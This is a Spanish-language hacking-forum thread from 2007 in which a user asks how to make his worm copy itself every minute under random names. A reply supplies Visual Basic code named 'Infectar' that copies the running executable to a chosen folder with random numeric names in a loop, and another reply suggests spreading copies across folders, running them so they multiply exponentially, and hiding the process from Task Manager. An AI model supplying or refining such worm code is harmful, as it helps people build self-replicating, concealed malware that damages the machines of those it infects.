Autocopiarse cada minuto

Iniciado por xhc, 23 Noviembre 2007, 16:23 PM

0 Miembros y 1 Visitante están viendo este tema.

xhc

Hola, como puedo hacer para que mi worm se copie cada minuto con nombres aleatorios

Karcrack

Código (vb) [Seleccionar]
Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
    Infectar
End Sub

Public Function Infectar()
    Dim Yo As String, Ruta As String
    Yo = App.Path & "\" & App.EXEName & ".exe"
    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
    Esperar (1000)
End Function

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

Private Function Aleatorio() As Long
    Randomize
    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function


Que lo disfrutes....
Pero deberias haverlo hecho tu :¬¬
PD: Si no entiendes algo pregunta.

byebye

copiarse cade minuto....... un programa por ejemplo de 1 mb y un ordenador encendido  algun tiempo puede hacer sospechar a cualquiera que algo raro pasa.

xhc

bueno lo unico que no entiendo es lo de esperar :-\

~~

Pues para esperar un minuto usa un timer. Si necesitas esperar mas tiempo del q alcanza el intervalo del timer pues usas un contador. Lo explico en pocas palabras por q con esta ya lo e debido de explicar como 1000 veces, busca por el foro, q ya esta muy dicho....

xhc

lo de poner un timer si lo sabia pero no esta funcion :

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function


Karcrack

Cita de: xhc en 25 Noviembre 2007, 20:39 PM
lo de poner un timer si lo sabia pero no esta funcion :

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function



-->VAGO!!!<--

PD: Te he dado un link :)

black_jjk

La verdad se me hace poco ingenioso el código, si lo que quieres es que cada minuto se copie lo del timer esta bien pero deberias probar cambiar el nombre del archivo con algo más ingenioso por ejemplo usar una combinación de carácteres y números en lugar de solo números, además de probar una matríz para los nombres de la carpeta, para que así se autocopie en diferentes carpetas en lugar de solo una en específico, además de crear una lista con la ubicación más de uno de los nuevos gusanos, para que así se puedan ejecutar estos o mejor aun hacer que se ejecuten a tráves de una instrucción, de esa manera la cantidad de archivos se multiplica exponencialmente.
por último te recomiendo que crees un programa que controle al gusanito para que no se ejecute más de n cantidad de veces al mismo tiempo y agregale una instrucción para que no aparezca en la ventana de "Administrador de Tareas".

Creo que con la ayuda que te dieron es suficiente para que lo desarrolles tu, yo solo opino que hay que tener un poco más de imaginación, pero eso es cosa de cada quien, si necesitas ayuda con tu código postealo y luego lo reviso.

xhc

pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris

saludos :D

jetrel

que instruccion hay que poner para que no aparezca en la ventana de "Administrador de Tareas"?
gracias